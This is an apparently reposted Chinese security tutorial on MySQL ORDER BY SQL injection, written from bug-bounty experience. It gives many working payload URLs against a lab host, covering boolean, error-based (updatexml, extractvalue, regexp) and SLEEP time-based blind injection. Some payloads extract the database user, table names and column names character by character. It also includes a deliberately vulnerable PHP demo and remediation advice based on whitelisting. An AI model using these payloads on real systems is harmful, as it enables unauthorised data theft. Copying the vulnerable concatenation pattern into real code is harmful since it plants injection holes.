Mysql Order By 注入总结

来源:互联网 发布:数组词多音字组词 编辑:程序博客网 时间:2024/05/15 09:00

前言

最近在做一些漏洞盒子后台项目的总结,在盒子多期众测项目中,发现注入类的漏洞占比较大。其中Order By注入型的漏洞也占挺大一部分比例,这类漏洞也是白帽子乐意提交的类型(奖金高、被过滤概率小)。今天给大家分享下一些关于Order By的有趣的经验。

何为order by 注入

本文讨论的内容指可控制的位置在order by子句后,如下order参数可控:select * from goods order by $_GET['order']

注入简单判断

在早期注入大量存在的时候,利用order by子句进行快速猜解表中的列数,再配合union select语句进行回显。在测试时,测试者可以通过修改order参数值,比如调整为较大的整型数,再依据回显情况来判断具体表中包含的列数。

在不知道列名的情况下可以通过列的的序号来指代相应的列。但是经过测试这里无法做运算,如order=3-1 和order=2是不一样的。

http://192.168.239.2:81/?order=11 错误http://192.168.239.2:81/?order=1 正常

进一步构造Payload

前面的判断并不是绝对的,我们需要构造出类似and 1=1and 1=2的Payload以便于注入出数据。

http://192.168.239.2:81/?order=IF(1=1,name,price) 通过name字段排序http://192.168.239.2:81/?order=IF(1=2,name,price) 通过price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序
http://192.168.239.2:81/?order=IFNULL(NULL,price) 通过price字段排序http://192.168.239.2:81/?order=IFNULL(NULL,name) 通过name字段排序

另外利用rand函数也能达到类似的效果,可以观测到排序的结果不一样

http://192.168.239.2:81/?order=rand(1=1) http://192.168.239.2:81/?order=rand(1=2)

利用报错

在有些情况下无法知道列名,而且也不太直观的去判断两次请求的差别,如下用IF语句为例。

返回多条记录

http://192.168.239.2:81/?order=IF(1=1,1,(select+1+union+select+2)) 正确http://192.168.239.2:81/?order=IF(1=2,1,(select+1+union+select+2)) 错误
/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常/?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误

利用regexp

http://192.168.239.2:81/?order=(select+1+regexp+if(1=1,1,0x00)) 正常http://192.168.239.2:81/?order=(select+1+regexp+if(1=2,1,0x00)) 错误

利用updatexml

http://192.168.239.2:81/?order=updatexml(1,if(1=1,1,user()),1) 正确http://192.168.239.2:81/?order=updatexml(1,if(1=2,1,user()),1) 错误

利用extractvalue

http://192.168.239.2:81/?order=extractvalue(1,if(1=1,1,user())) 正确http://192.168.239.2:81/?order=extractvalue(1,if(1=2,1,user())) 错误

基于时间的盲注

注意如果直接if(1=2,1,SLEEP(2)),sleep时间将会变成2当前表中记录的数目,还有比如执行BENCHMARK(1000000,100100);等函数,将会对服务器造成一定的拒绝服务攻击。

/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

数据猜解

以猜解user()root@localhost为例子,由于只能一位一位猜解,可以利用SUBSTR,SUBSTRING,MID,以及leftright可以精准分割出每一位子串。然后就是比较操作了可以利用=,like,regexp等。这里要注意like是不区分大小写。

通过下可以得知user()第一位为r,ascii码的16进制为0x72

http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误

猜解当前数据库的表名:

/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误

猜解指定表名中的列名:

/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误

sqlmap测试

在没有过滤的情况下是能够检测到注入的,如下图:

附录服务端代码

<?phperror_reporting(0);session_start();mysql_connect("127.0.0.1", "root", "root") or die("Database connection failed ");mysql_select_db("sqlidemo") or die("Select database failed");$order = $_GET['order'] ? $_GET['order'] : 'name';$sql = "select id,name,price from goods order by $order";$result = mysql_query($sql);$reslist = array();while($row = mysql_fetch_array($result, MYSQL_ASSOC)){ array_push($reslist, $row);}echo json_encode($reslist);create database sqlidemo;
use sqlidemo;create table goods (id int(4) not null primary key auto_increment, name char(32) not null, price int(4) not null);insert into goods (name, price) values("apple", 10);insert into goods (name, price) values("banana", 15);insert into goods (name, price) values("peach", 20);

修复建议

这个问题的是由于攻击者通过测试,了解到应用程序对数据对象进行了直接引用。该类问题可以归纳到OWASP-2013中A4(不安全的对象直接引用)。常见的修复方法如下:

1.通过正则表达式进行字符串过滤。只允许字段中出现字母、数字、下划线。

2.通过白名单思路,使用间接对象引用。前端传递引用数字或者字符串等,用于与后端做数组映射,这样可以隐藏数据库数据字典效果,避免直接引用带来的危害。

 <?php  $orderby_whitelist = array(      "apple" => "apple ASC",      "applerev" => "apple DESC",     "daterev" => "banana DESC",     "DEFAULT" => "peach" );  $order = isset($_GET["order"]) ? $_GET["order"] : "DEFAULT";$order_expr = array_key_exists($order, $orderby_whitelist) ? $orderby_whitelist[$order] : $orderby_whitelist["DEFAULT"]; mysql_query("SELECT ... FROM ... ORDER BY $order_expr");

参考资料

http://xdxd.love/2016/03/07/order-by%E6%B3%A8%E5%85%A5%E7%82%B9%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F/

https://dev.mysql.com/doc/refman/5.7/en/control-flow-functions.html

https://dev.mysql.com/doc/refman/5.7/en/string-functions.html

潜心,不会编程的不是好黑客更不是项目经理,只会简简单单的脚本谈不上脚本小子;只会皮毛却自以为是那只能说是瞎扯爱好都谈不上-----潜心修炼不妄语。
原创粉丝点击